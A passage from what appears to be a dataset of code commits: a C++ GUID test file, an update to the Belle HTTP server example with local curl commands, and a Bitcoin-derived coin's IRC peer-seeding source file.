*\/\n\n \/\/ create a guid using the static guid::create_new function\n guid g = guid::create_new();\n \/\/ check if empty\n bool empty = g.empty();\n \/\/ convert the guid to a string like xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\n std::string s = g.to_string('a');\n\n \/\/ Create a guid using guid::create member function\n guid g2;\n g2.create();\n\n \/* tests *\/\n\n guid g3(\"2AC3E955-939F-4756-8BC1-940BB7C882C3\");\n assert(g3.empty() == false);\n assert(g3 != g);\n assert(!(g3 == g));\n std::string s2 = g3.to_string();\n assert(s2.compare(\"{2AC3E955-939F-4756-8BC1-940BB7C882C3}\") == 0);\n assert(g3.to_string(guid_format::uppercase_no_brackets).compare(\"2AC3E955-939F-4756-8BC1-940BB7C882C3\") == 0);\n\n guid g4(g3);\n assert(g4 == g3);\n guid g5 = g4;\n assert(g5 == g4);\n guid g6;\n g6 = g5;\n assert(g6 == g5);\n g6.swap(g);\n assert(g6 != g5);\n assert(g == g3);\n\n guid g7 = guid::create_new();\n assert(g7.empty() == false);\n guid g8;\n assert(g8.empty());\n g8.create();\n assert(g8.empty() == false);\n guid g9(g8);\n assert(g9 == g8);\n g9.create();\n assert(g9 == g8);\n\n guid g10(\"2AC3E955-939F-4756-8BC1-940BB7C882C3\");\n assert(g10.empty() == false);\n}<commit_msg>space<commit_after>#include \"..\\guid.h\"\n\n#include <cassert>\n#include <string>\n\nint main()\n{\n \/* api documentation *\/\n\n \/\/ create a guid using the static guid::create_new function\n guid g = guid::create_new();\n \/\/ check if empty\n bool empty = g.empty();\n \/\/ convert the guid to a string like xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\n std::string s = g.to_string('a');\n\n \/\/ Create a guid using guid::create member function\n guid g2;\n g2.create();\n\n \/* tests *\/\n\n guid g3(\"2AC3E955-939F-4756-8BC1-940BB7C882C3\");\n assert(g3.empty() == false);\n assert(g3 != g);\n assert(!(g3 == g));\n std::string s2 = g3.to_string();\n assert(s2.compare(\"{2AC3E955-939F-4756-8BC1-940BB7C882C3}\") == 0);\n assert(g3.to_string(guid_format::uppercase_no_brackets).compare(\"2AC3E955-939F-4756-8BC1-940BB7C882C3\") == 0);\n\n guid g4(g3);\n assert(g4 == g3);\n guid g5 = g4;\n assert(g5 == g4);\n guid g6;\n g6 = g5;\n assert(g6 == g5);\n g6.swap(g);\n assert(g6 != g5);\n assert(g == g3);\n\n guid g7 = guid::create_new();\n assert(g7.empty() == false);\n guid g8;\n assert(g8.empty());\n g8.create();\n assert(g8.empty() == false);\n guid g9(g8);\n assert(g9 == g8);\n g9.create();\n assert(g9 == g8);\n\n guid g10(\"2AC3E955-939F-4756-8BC1-940BB7C882C3\");\n assert(g10.empty() == false);\n}<|endoftext|>"} {"text":"<commit_before>\/\/ belle http example\n\n#include \"..\/..\/..\/include\/belle.hh\"\nnamespace Belle = OB::Belle;\n\n#include <ctime>\n\n#include <string>\n#include <sstream>\n#include <iomanip>\n#include <iostream>\n\n\/\/ prototypes\nstd::string http_routes(Belle::Server::Http_Routes& routes);\n\n\/\/ return string containing all http routes\nstd::string http_routes(Belle::Server::Http_Routes& routes)\n{\n std::stringstream res;\n\n for (auto const& e : routes)\n {\n res << \"Route: \" << (*e).first << \"\\nMethod:\";\n\n for (auto const& m : (*e).second)\n {\n if (static_cast<Belle::Method>(m.first) == Belle::Method::unknown)\n {\n res << \" All\";\n }\n else\n {\n res << \" \" << Belle::http::to_string(static_cast<Belle::Method>(m.first));\n }\n }\n\n res << \"\\n\\n\";\n }\n\n return res.str();\n}\n\nint main(int argc, char *argv[])\n{\n \/\/ init the server\n Belle::Server app;\n\n \/\/ set the listening address\n std::string address {\"127.0.0.1\"};\n app.address(address);\n\n \/\/ set the listening port\n int port {8080};\n app.port(port);\n\n \/\/ disable websocket upgrades\n app.websocket(false);\n\n \/\/ set the number of threads to 2\n app.threads(2);\n\n \/\/ enable serving static files from a public directory\n \/\/ if the path is relative, make sure to run the program\n \/\/ in the right working directory\n app.public_dir(\"..\/public\");\n\n \/\/ set default http headers\n Belle::Headers headers;\n headers.set(Belle::Header::server, \"Belle\");\n headers.set(Belle::Header::cache_control, \"private; max-age=0\");\n app.http_headers(headers);\n\n \/\/ handle the following signals\n app.signals({SIGINT, SIGTERM});\n\n \/\/ set the on signal callback\n app.on_signal([&](auto ec, auto sig)\n {\n \/\/ print out the signal received\n std::cerr << \"\\nSignal \" << sig << \"\\n\";\n\n \/\/ get the io_context and safely stop the server\n app.io().stop();\n });\n\n \/\/ handle route GET '\/'\n app.on_http(\"\/\", Belle::Method::get, [&](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ the response string\n std::string res {R\"(\n <a href=\"\/\">home<\/a><br>\n <a href=\"\/method\">methods<\/a><br>\n <a href=\"\/params?key=value&blank=&query=test&page=2\">query parameters<\/a><br>\n <a href=\"\/418\">regex route<\/a><br>\n <a href=\"\/error\">custom error<\/a><br>\n <a href=\"\/index.html\">static page<\/a><br>\n )\"};\n\n \/\/ set http response headers\n ctx.res.set(\"content-type\", \"text\/html\");\n\n \/\/ set the http status code\n ctx.res.result(200);\n\n \/\/ set the http body\n ctx.res.body() = res;\n });\n\n \/\/ handle route '\/method'\n \/\/ matches all methods\n app.on_http(\"\/method\", [](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ set http response headers\n ctx.res.set(\"content-type\", \"text\/plain\");\n\n \/\/ set the http status code\n ctx.res.result(200);\n\n \/\/ get the request method type\n std::string method {ctx.req.method_string()};\n\n \/\/ echo back the matched http method\n ctx.res.body() = \"Method: \" + method + \"\\n\";\n });\n\n \/\/ handle route POST '\/'\n app.on_http(\"\/post\", Belle::Method::post, [](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ set http response headers\n ctx.res.set(\"content-type\", \"text\/plain\");\n\n \/\/ set the http status code\n ctx.res.result(200);\n\n \/\/ echo back the request body\n ctx.res.body() = \"Body: \" + ctx.req.body() + \"\\n\";\n });\n\n \/\/ handle route GET '\/params' with query parameters\n \/\/ ex. http:\/\/localhost:8080\/?q=test&page=2\n app.on_http(\"\/params\", Belle::Method::get, [](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ stringstream to hold the response\n std::stringstream res;\n res << \"Query Parameters:\\n\";\n\n \/\/ access the query parameters\n for (auto const& e : ctx.req.params())\n {\n \/\/ add each key value pair to the response\n res << e.first << \" | \" << e.second << \"\\n\";\n }\n\n \/\/ set http response headers\n ctx.res.set(\"content-type\", \"text\/plain\");\n\n \/\/ set the http status code\n ctx.res.result(200);\n\n \/\/ echo back the query parameters\n ctx.res.body() = res.str();\n });\n\n \/\/ handle route GET '\/<400-500 errors>' with query parameters\n \/\/ match a regex url\n \/\/ ex. http:\/\/localhost:8080\/404\n app.on_http(\"^\/([45]{1}[0-9]{2})$\", Belle::Method::get, [](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ access the url regex capture groups\n \/\/ using req.url() which is a vector of strings\n \/\/ index 0 contains the full matched url\n \/\/ index 1 to n contain the value of the capture groups if any\n std::string match {ctx.req.url().at(1)};\n\n \/\/ set http response headers\n ctx.res.set(\"content-type\", \"text\/plain\");\n\n \/\/ set the http status code\n ctx.res.result(200);\n\n \/\/ echo back the captured url path\n ctx.res.body() = \"match: \" + match;\n });\n\n \/\/ handle an error\n app.on_http(\"\/error\", Belle::Method::get, [](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ trigger the custom error callback\n throw 500;\n });\n\n \/\/ set custom error callback\n app.on_http_error([&](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ stringstream to hold the response\n std::stringstream res; res\n << \"Status: \" << ctx.res.result_int() << \"\\n\"\n << \"Reason: \" << ctx.res.result() << \"\\n\";\n\n \/\/ set http response headers\n ctx.res.set(\"content-type\", \"text\/plain\");\n\n \/\/ echo the http status code\n ctx.res.body() = res.str();\n });\n\n \/\/ set http connect callback\n \/\/ called at the beginning of every request\n app.on_http_connect([&](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ print notification\n std::cerr << \"New Request!\\n\";\n });\n\n \/\/ set http disconnect callback\n \/\/ called at the end of every request\n app.on_http_disconnect([&](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ access http request headers\n std::string ip {std::string(ctx.req[\"X-Real-IP\"]).empty() ? \"localhost\" : ctx.req[\"X-Real-IP\"]};\n std::string ua {std::string(ctx.req[\"user-agent\"])};\n std::string rf {std::string(ctx.req[\"referer\"])};\n\n \/\/ get the current time\n std::time_t t {std::time(nullptr)};\n std::tm tm {*std::localtime(&t)};\n\n \/\/ log output\n std::cerr\n << \"[\" << std::put_time(&tm, \"%H:%M:%S %e %b %Y\") << \"] \"\n << \"[\" << ip << \"] \"\n << \"[\" << ctx.res.result_int() << \"] \"\n << \"[\" << ctx.req.method() << \"] \"\n << \"[\" << ctx.req.target().to_string() << \"] \"\n << \"[\" << rf << \"] \"\n << \"[\" << ua << \"]\\n\\n\";\n });\n\n \/\/ print out the address and port\n \/\/ along with all registered http routes\n \/\/ followed by the log output\n std::cout\n << \"Server: \" << address << \":\" << port << \"\\n\\n\"\n << \"Navigate to the following url:\\n\"\n << \" http:\/\/127.0.0.1:8080\/\\n\\n\"\n << \"Try running the following commands:\\n\"\n << \" curl -X PUT http:\/\/127.0.0.1:8080\/method\\n\"\n << \" curl -X POST --data 'post body message here' http:\/\/127.0.0.1:8080\/post\\n\\n\"\n << \"Begin Routes>\\n\\n\"\n << http_routes(app.http_routes())\n << \"Begin Log>\\n\\n\";\n\n \/\/ start the server\n app.listen();\n\n \/\/ the server blocks until a signal is received\n\n return 0;\n}\n<commit_msg>update http example<commit_after>\/\/ belle http example\n\n#include \"..\/..\/..\/include\/belle.hh\"\nnamespace Belle = OB::Belle;\n\n#include <ctime>\n\n#include <string>\n#include <sstream>\n#include <iomanip>\n#include <iostream>\n\n\/\/ prototypes\nstd::string http_routes(Belle::Server::Http_Routes& routes);\n\n\/\/ return string containing all http routes\nstd::string http_routes(Belle::Server::Http_Routes& routes)\n{\n std::stringstream res;\n\n for (auto const& e : routes)\n {\n res << \"Route: \" << (*e).first << \"\\nMethod:\";\n\n for (auto const& m : (*e).second)\n {\n if (static_cast<Belle::Method>(m.first) == Belle::Method::unknown)\n {\n res << \" ALL\";\n }\n else\n {\n res << \" \" << Belle::http::to_string(static_cast<Belle::Method>(m.first));\n }\n }\n\n res << \"\\n\\n\";\n }\n\n return res.str();\n}\n\nint main(int argc, char *argv[])\n{\n \/\/ init the server\n Belle::Server app;\n\n \/\/ set the listening address\n std::string address {\"127.0.0.1\"};\n app.address(address);\n\n \/\/ set the listening port\n int port {8080};\n app.port(port);\n\n \/\/ set the number of threads\n \/\/ default value is 1 single thread\n app.threads(std::thread::hardware_concurrency());\n\n \/\/ multithreading can be enabled on an http only server\n \/\/ websocket upgrades must be disabled to use multithreading\n \/\/ the websocket channel implementation is not thread safe\n \/\/ default value is true\n app.websocket(false);\n\n \/\/ enable serving static files from a public directory\n \/\/ if the path is relative, make sure to run the program\n \/\/ in the right working directory\n app.public_dir(\"..\/public\");\n\n \/\/ set default http headers\n Belle::Headers headers;\n headers.set(Belle::Header::server, \"Belle\");\n headers.set(Belle::Header::cache_control, \"private; max-age=0\");\n app.http_headers(headers);\n\n \/\/ handle the following signals\n app.signals({SIGINT, SIGTERM});\n\n \/\/ set the on signal callback\n app.on_signal([&](auto ec, auto sig)\n {\n \/\/ print out the signal received\n std::cerr << \"\\nSignal \" << sig << \"\\n\";\n\n \/\/ get the io_context and safely stop the server\n app.io().stop();\n });\n\n \/\/ handle route GET '\/'\n app.on_http(\"\/\", Belle::Method::get, [](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ the response string\n std::string res {R\"(\n <a href=\"\/\">home<\/a><br>\n <a href=\"\/method\">methods<\/a><br>\n <a href=\"\/params?key=value&blank=&query=test&page=2\">query parameters<\/a><br>\n <a href=\"\/regex\/hello\">regex route<\/a><br>\n <a href=\"\/error\">custom error<\/a><br>\n <a href=\"\/index.html\">static page<\/a><br>\n )\"};\n\n \/\/ set http response headers\n ctx.res.set(\"content-type\", \"text\/html\");\n\n \/\/ set the http status code\n \/\/ the http status code can be either an integer or\n \/\/ its respective enum representation\n \/\/ the default status is 200 OK\n ctx.res.result(Belle::Status::ok);\n\n \/\/ set the http body\n ctx.res.body() = std::move(res);\n });\n\n \/\/ handle route ALL '\/method'\n \/\/ matches all methods\n app.on_http(\"\/method\", [](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ get the request method type as a string\n std::stringstream res; res\n << \"HTTP Method\\n\"\n << \"method: \" << ctx.req.method_string() << \"\\n\";\n\n \/\/ set http response headers\n ctx.res.set(\"content-type\", \"text\/plain\");\n\n \/\/ set the http status code\n ctx.res.result(Belle::Status::ok);\n\n \/\/ echo back the matched http method\n ctx.res.body() = res.str();\n });\n\n \/\/ handle route POST '\/post'\n \/\/ echo back the posted data\n app.on_http(\"\/post\", Belle::Method::post, [](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ get the request body data\n std::stringstream res; res\n << \"Post Data\\n\"\n << \"Body: \" << ctx.req.body() << \"\\n\";\n\n \/\/ set http response headers\n ctx.res.set(\"content-type\", \"text\/plain\");\n\n \/\/ set the http status code\n ctx.res.result(Belle::Status::ok);\n\n \/\/ echo back the request body\n ctx.res.body() = res.str();\n });\n\n \/\/ handle route GET '\/params'\n \/\/ with query parameters\n \/\/ ex. http:\/\/localhost:8080\/params?q=test&page=2\n app.on_http(\"\/params\", Belle::Method::get, [](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ stringstream to hold the response\n std::stringstream res;\n res << \"Query Parameters\\n\";\n\n \/\/ access the query parameters\n for (auto const& [key, val] : ctx.req.params())\n {\n \/\/ add each key value pair to the response\n res << key << \" | \" << val << \"\\n\";\n }\n\n \/\/ set http response headers\n ctx.res.set(\"content-type\", \"text\/plain\");\n\n \/\/ set the http status code\n ctx.res.result(Belle::Status::ok);\n\n \/\/ echo back the query parameters\n ctx.res.body() = res.str();\n });\n\n \/\/ handle route GET '\/regex\/([a-z]+)'\n \/\/ match a regex url\n \/\/ one or more lowercase characters in the range of a-z\n \/\/ ex. http:\/\/localhost:8080\/regex\/hello\n \/\/ ex. http:\/\/localhost:8080\/regex\/belle\n app.on_http(\"^\/regex\/([a-z]+)$\", Belle::Method::get, [](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ access the url regex capture groups\n \/\/ using req.url() which is a vector of strings\n \/\/ index 0 contains the matched url, minus any query parameters\n \/\/ index 1 to n contain the value of the capture groups if any\n \/\/ the full url with query parameters is in req.target()\n std::string url {ctx.req.url().at(0)};\n std::string match {ctx.req.url().at(1)};\n\n \/\/ stringstream to hold the response\n std::stringstream res; res\n << \"Regex Captures\\n\"\n << \"url: \" << url << \"\\n\"\n << \"match: \" << match << \"\\n\";\n\n \/\/ set http response headers\n ctx.res.set(\"content-type\", \"text\/plain\");\n\n \/\/ set the http status code\n ctx.res.result(Belle::Status::ok);\n\n \/\/ echo back the captured url path\n ctx.res.body() = res.str();\n });\n\n \/\/ trigger the custom error callback\n app.on_http(\"\/error\", Belle::Method::get, [](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ the thrown value sets the http status code and\n \/\/ calls the Belle::Server::on_http_error callback\n \/\/ the http status code can be either an integer or\n \/\/ its respective enum representation\n throw Belle::Status::internal_server_error;\n });\n\n \/\/ set custom error callback\n app.on_http_error([](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ stringstream to hold the response\n \/\/ get the http status code represented as an int and string\n std::stringstream res; res\n << \"Custom Error\\n\"\n << \"Status: \" << ctx.res.result_int() << \"\\n\"\n << \"Reason: \" << ctx.res.result() << \"\\n\";\n\n \/\/ set http response headers\n ctx.res.set(\"content-type\", \"text\/plain\");\n\n \/\/ send the custom error response\n ctx.res.body() = res.str();\n });\n\n \/\/ set http connect callback\n \/\/ called at the beginning of every request\n app.on_http_connect([](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ print notification\n std::cerr << \"New Request!\\n\";\n });\n\n \/\/ set http disconnect callback\n \/\/ called at the end of every request\n app.on_http_disconnect([](Belle::Server::Http_Ctx& ctx)\n {\n \/\/ access http request headers\n std::string ip {std::string(ctx.req[\"X-Real-IP\"]).empty() ? \"localhost\" : ctx.req[\"X-Real-IP\"]};\n std::string ua {std::string(ctx.req[\"user-agent\"])};\n std::string rf {std::string(ctx.req[\"referer\"])};\n\n \/\/ get the current time\n std::time_t t {std::time(nullptr)};\n std::tm tm {*std::localtime(&t)};\n\n \/\/ log output\n std::cerr\n \/\/ the current timestamp\n << \"[\" << std::put_time(&tm, \"%H:%M:%S %e %b %Y\") << \"] \"\n \/\/ the ip address\n << \"[\" << ip << \"] \"\n \/\/ the http status code as an integer\n << \"[\" << ctx.res.result_int() << \"] \"\n \/\/ the http method as a string\n << \"[\" << ctx.req.method_string() << \"] \"\n \/\/ the full request url as a string\n << \"[\" << ctx.req.target().to_string() << \"] \"\n \/\/ the http referer header\n << \"[\" << rf << \"] \"\n \/\/ the http user-agent header\n << \"[\" << ua << \"]\\n\\n\";\n });\n\n \/\/ print out the address and port\n \/\/ along with all registered http routes\n \/\/ followed by the log output\n std::cout\n << \"Server: \" << address << \":\" << port << \"\\n\\n\"\n << \"Navigate to the following url:\\n\"\n << \" http:\/\/\" << address << \":\" << port << \"\/\\n\\n\"\n << \"Try running the following commands:\\n\"\n << \" curl -X PUT http:\/\/\" << address << \":\" << port << \"\/method\\n\"\n << \" curl -X POST --data 'post body message here' http:\/\/\"\n << address << \":\" << port << \"\/post\\n\\n\"\n << \"Begin Routes>\\n\\n\"\n << http_routes(app.http_routes())\n << \"Begin Log>\\n\\n\";\n\n \/\/ start the server\n app.listen();\n\n \/\/ the server blocks until a signal is received\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2012 The Bitcoin developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"irc.h\"\n#include \"net.h\"\n#include \"strlcpy.h\"\n#include \"base58.h\"\n\nusing namespace std;\nusing namespace boost;\n\nint nGotIRCAddresses = 0;\n\nvoid ThreadIRCSeed2(void* parg);\n\n\n\n\n#pragma pack(push, 1)\nstruct ircaddr\n{\n struct in_addr ip;\n short port;\n};\n#pragma pack(pop)\n\nstring EncodeAddress(const CService& addr)\n{\n struct ircaddr tmp;\n if (addr.GetInAddr(&tmp.ip))\n {\n tmp.port = htons(addr.GetPort());\n\n vector<unsigned char> vch(UBEGIN(tmp), UEND(tmp));\n return string(\"u\") + EncodeBase58Check(vch);\n }\n return \"\";\n}\n\nbool DecodeAddress(string str, CService& addr)\n{\n vector<unsigned char> vch;\n if (!DecodeBase58Check(str.substr(1), vch))\n return false;\n\n struct ircaddr tmp;\n if (vch.size() != sizeof(tmp))\n return false;\n memcpy(&tmp, &vch[0], sizeof(tmp));\n\n addr = CService(tmp.ip, ntohs(tmp.port));\n return true;\n}\n\n\n\n\n\n\nstatic bool Send(SOCKET hSocket, const char* pszSend)\n{\n if (strstr(pszSend, \"PONG\") != pszSend)\n printf(\"IRC SENDING: %s\\n\", pszSend);\n const char* psz = pszSend;\n const char* pszEnd = psz + strlen(psz);\n while (psz < pszEnd)\n {\n int ret = send(hSocket, psz, pszEnd - psz, MSG_NOSIGNAL);\n if (ret < 0)\n return false;\n psz += ret;\n }\n return true;\n}\n\nbool RecvLineIRC(SOCKET hSocket, string& strLine)\n{\n loop\n {\n bool fRet = RecvLine(hSocket, strLine);\n if (fRet)\n {\n if (fShutdown)\n return false;\n vector<string> vWords;\n ParseString(strLine, ' ', vWords);\n if (vWords.size() >= 1 && vWords[0] == \"PING\")\n {\n strLine[1] = 'O';\n strLine += '\\r';\n Send(hSocket, strLine.c_str());\n continue;\n }\n }\n return fRet;\n }\n}\n\nint RecvUntil(SOCKET hSocket, const char* psz1, const char* psz2=NULL, const char* psz3=NULL, const char* psz4=NULL)\n{\n loop\n {\n string strLine;\n strLine.reserve(10000);\n if (!RecvLineIRC(hSocket, strLine))\n return 0;\n printf(\"IRC %s\\n\", strLine.c_str());\n if (psz1 && strLine.find(psz1) != string::npos)\n return 1;\n if (psz2 && strLine.find(psz2) != string::npos)\n return 2;\n if (psz3 && strLine.find(psz3) != string::npos)\n return 3;\n if (psz4 && strLine.find(psz4) != string::npos)\n return 4;\n }\n}\n\nbool Wait(int nSeconds)\n{\n if (fShutdown)\n return false;\n printf(\"IRC waiting %d seconds to reconnect\\n\", nSeconds);\n for (int i = 0; i < nSeconds; i++)\n {\n if (fShutdown)\n return false;\n Sleep(1000);\n }\n return true;\n}\n\nbool RecvCodeLine(SOCKET hSocket, const char* psz1, string& strRet)\n{\n strRet.clear();\n loop\n {\n string strLine;\n if (!RecvLineIRC(hSocket, strLine))\n return false;\n\n vector<string> vWords;\n ParseString(strLine, ' ', vWords);\n if (vWords.size() < 2)\n continue;\n\n if (vWords[1] == psz1)\n {\n printf(\"IRC %s\\n\", strLine.c_str());\n strRet = strLine;\n return true;\n }\n }\n}\n\nbool GetIPFromIRC(SOCKET hSocket, string strMyName, CNetAddr& ipRet)\n{\n Send(hSocket, strprintf(\"USERHOST %s\\r\", strMyName.c_str()).c_str());\n\n string strLine;\n if (!RecvCodeLine(hSocket, \"302\", strLine))\n return false;\n\n vector<string> vWords;\n ParseString(strLine, ' ', vWords);\n if (vWords.size() < 4)\n return false;\n\n string str = vWords[3];\n if (str.rfind(\"@\") == string::npos)\n return false;\n string strHost = str.substr(str.rfind(\"@\")+1);\n\n \/\/ Hybrid IRC used by lfnet always returns IP when you userhost yourself,\n \/\/ but in case another IRC is ever used this should work.\n printf(\"GetIPFromIRC() got userhost %s\\n\", strHost.c_str());\n CNetAddr addr(strHost, true);\n if (!addr.IsValid())\n return false;\n ipRet = addr;\n\n return true;\n}\n\n\n\nvoid ThreadIRCSeed(void* parg)\n{\n \/\/ Make this thread recognisable as the IRC seeding thread\n RenameThread(\"bitcoin-ircseed\");\n\n try\n {\n ThreadIRCSeed2(parg);\n }\n catch (std::exception& e) {\n PrintExceptionContinue(&e, \"ThreadIRCSeed()\");\n } catch (...) {\n PrintExceptionContinue(NULL, \"ThreadIRCSeed()\");\n }\n printf(\"ThreadIRCSeed exited\\n\");\n}\n\nvoid ThreadIRCSeed2(void* parg)\n{\n \/\/ Don't connect to IRC if we won't use IPv4 connections.\n if (IsLimited(NET_IPV4))\n return;\n\n \/\/ ... or if we won't make outbound connections and won't accept inbound ones.\n if (mapArgs.count(\"-connect\") && fNoListen)\n return;\n\n \/\/ ... or if IRC is not enabled.\n if (!GetBoolArg(\"-irc\", true))\n return;\n\n printf(\"ThreadIRCSeed started\\n\");\n int nErrorWait = 10;\n int nRetryWait = 10;\n int nNameRetry = 0;\n\n while (!fShutdown)\n {\n CService addrConnect(\"188.122.74.140\", 6667); \/\/ eu.undernet.org\n\n CService addrIRC(\"irc.rizon.net\", 6667, true);\n if (addrIRC.IsValid())\n addrConnect = addrIRC;\n\n SOCKET hSocket;\n if (!ConnectSocket(addrConnect, hSocket))\n {\n printf(\"IRC connect failed\\n\");\n nErrorWait = nErrorWait * 11 \/ 10;\n if (Wait(nErrorWait += 60))\n continue;\n else\n return;\n }\n\n if (!RecvUntil(hSocket, \"Found your hostname\", \"using your IP address instead\", \"Couldn't look up your hostname\", \"ignoring hostname\"))\n {\n closesocket(hSocket);\n hSocket = INVALID_SOCKET;\n nErrorWait = nErrorWait * 11 \/ 10;\n if (Wait(nErrorWait += 60))\n continue;\n else\n return;\n }\n\n CNetAddr addrIPv4(\"1.2.3.4\"); \/\/ arbitrary IPv4 address to make GetLocal prefer IPv4 addresses\n CService addrLocal;\n string strMyName;\n \/\/ Don't use our IP as our nick if we're not listening\n \/\/ or if it keeps failing because the nick is already in use.\n if (!fNoListen && GetLocal(addrLocal, &addrIPv4) && nNameRetry<3)\n strMyName = EncodeAddress(GetLocalAddress(&addrConnect));\n if (strMyName == \"\")\n strMyName = strprintf(\"x%\"PRI64u\"\", GetRand(1000000000));\n\n Send(hSocket, strprintf(\"NICK %s\\r\", strMyName.c_str()).c_str());\n Send(hSocket, strprintf(\"USER %s 8 * : %s\\r\", strMyName.c_str(), strMyName.c_str()).c_str());\n\n int nRet = RecvUntil(hSocket, \" 004 \", \" 433 \");\n if (nRet != 1)\n {\n closesocket(hSocket);\n hSocket = INVALID_SOCKET;\n if (nRet == 2)\n {\n printf(\"IRC name already in use\\n\");\n nNameRetry++;\n Wait(10);\n continue;\n }\n nErrorWait = nErrorWait * 11 \/ 10;\n if (Wait(nErrorWait += 60))\n continue;\n else\n return;\n }\n nNameRetry = 0;\n Sleep(500);\n\n \/\/ Get our external IP from the IRC server and re-nick before joining the channel\n CNetAddr addrFromIRC;\n if (GetIPFromIRC(hSocket, strMyName, addrFromIRC))\n {\n printf(\"GetIPFromIRC() returned %s\\n\", addrFromIRC.ToString().c_str());\n \/\/ Don't use our IP as our nick if we're not listening\n if (!fNoListen && addrFromIRC.IsRoutable())\n {\n \/\/ IRC lets you to re-nick\n AddLocal(addrFromIRC, LOCAL_IRC);\n strMyName = EncodeAddress(GetLocalAddress(&addrConnect));\n Send(hSocket, strprintf(\"NICK %s\\r\", strMyName.c_str()).c_str());\n }\n }\n\n if (fTestNet) {\n Send(hSocket, \"JOIN #CryptogenicBullionTEST2\\r\");\n Send(hSocket, \"WHO #CryptogenicBullionTEST2\\r\");\n } else {\n \/\/ randomly join #CryptogenicBullion00-#CryptogenicBullion05\n \/\/ int channel_number = GetRandInt(5);\n\n \/\/ Channel number is always 0 for initial release\n int channel_number = 0;\n Send(hSocket, strprintf(\"JOIN #CryptogenicBullion%02d\\r\", channel_number).c_str());\n Send(hSocket, strprintf(\"WHO #CryptogenicBullion%02d\\r\", channel_number).c_str());\n }\n\n int64 nStart = GetTime();\n string strLine;\n strLine.reserve(10000);\n while (!fShutdown && RecvLineIRC(hSocket, strLine))\n {\n if (strLine.empty() || strLine.size() > 900 || strLine[0] != ':')\n continue;\n\n vector<string> vWords;\n ParseString(strLine, ' ', vWords);\n if (vWords.size() < 2)\n continue;\n\n char pszName[10000];\n pszName[0] = '\\0';\n\n if (vWords[1] == \"352\" && vWords.size() >= 8)\n {\n \/\/ index 7 is limited to 16 characters\n \/\/ could get full length name at index 10, but would be different from join messages\n strlcpy(pszName, vWords[7].c_str(), sizeof(pszName));\n printf(\"IRC got who\\n\");\n }\n\n if (vWords[1] == \"JOIN\" && vWords[0].size() > 1)\n {\n \/\/ :username!username@50000007.F000000B.90000002.IP JOIN :#channelname\n strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));\n if (strchr(pszName, '!'))\n *strchr(pszName, '!') = '\\0';\n printf(\"IRC got join\\n\");\n }\n\n if (pszName[0] == 'u')\n {\n CAddress addr;\n if (DecodeAddress(pszName, addr))\n {\n addr.nTime = GetAdjustedTime();\n if (addrman.Add(addr, addrConnect, 51 * 60))\n printf(\"IRC got new address: %s\\n\", addr.ToString().c_str());\n nGotIRCAddresses++;\n }\n else\n {\n printf(\"IRC decode failed\\n\");\n }\n }\n }\n closesocket(hSocket);\n hSocket = INVALID_SOCKET;\n\n if (GetTime() - nStart > 20 * 60)\n {\n nErrorWait \/= 3;\n nRetryWait \/= 3;\n }\n\n nRetryWait = nRetryWait * 11 \/ 10;\n if (!Wait(nRetryWait += 60))\n return;\n }\n}\n\n\n\n\n\n\n\n\n\n\n#ifdef TEST\nint main(int argc, char *argv[])\n{\n WSADATA wsadata;\n if (WSAStartup(MAKEWORD(2,2), &wsadata) != NO_ERROR)\n {\n printf(\"Error at WSAStartup()\\n\");\n return false;\n }\n\n ThreadIRCSeed(NULL);\n\n WSACleanup();\n return 0;\n}\n#endif\n<commit_msg>Fix IRC Bans<commit_after>\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2012 The Bitcoin developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"irc.h\"\n#include \"net.h\"\n#include \"strlcpy.h\"\n#include \"base58.h\"\n\nusing namespace std;\nusing namespace boost;\n\nint nGotIRCAddresses = 0;\n\nvoid ThreadIRCSeed2(void* parg);\n\n\n\n\n#pragma pack(push, 1)\nstruct ircaddr\n{\n struct in_addr ip;\n short port;\n};\n#pragma pack(pop)\n\nstring EncodeAddress(const CService& addr)\n{\n struct ircaddr tmp;\n if (addr.GetInAddr(&tmp.ip))\n {\n tmp.port = htons(addr.GetPort());\n\n vector<unsigned char> vch(UBEGIN(tmp), UEND(tmp));\n return string(\"u\") + EncodeBase58Check(vch);\n }\n return \"\";\n}\n\nbool DecodeAddress(string str, CService& addr)\n{\n vector<unsigned char> vch;\n if (!DecodeBase58Check(str.substr(1), vch))\n return false;\n\n struct ircaddr tmp;\n if (vch.size() != sizeof(tmp))\n return false;\n memcpy(&tmp, &vch[0], sizeof(tmp));\n\n addr = CService(tmp.ip, ntohs(tmp.port));\n return true;\n}\n\n\n\n\n\n\nstatic bool Send(SOCKET hSocket, const char* pszSend)\n{\n if (strstr(pszSend, \"PONG\") != pszSend)\n printf(\"IRC SENDING: %s\\n\", pszSend);\n const char* psz = pszSend;\n const char* pszEnd = psz + strlen(psz);\n while (psz < pszEnd)\n {\n int ret = send(hSocket, psz, pszEnd - psz, MSG_NOSIGNAL);\n if (ret < 0)\n return false;\n psz += ret;\n }\n return true;\n}\n\nbool RecvLineIRC(SOCKET hSocket, string& strLine)\n{\n loop\n {\n bool fRet = 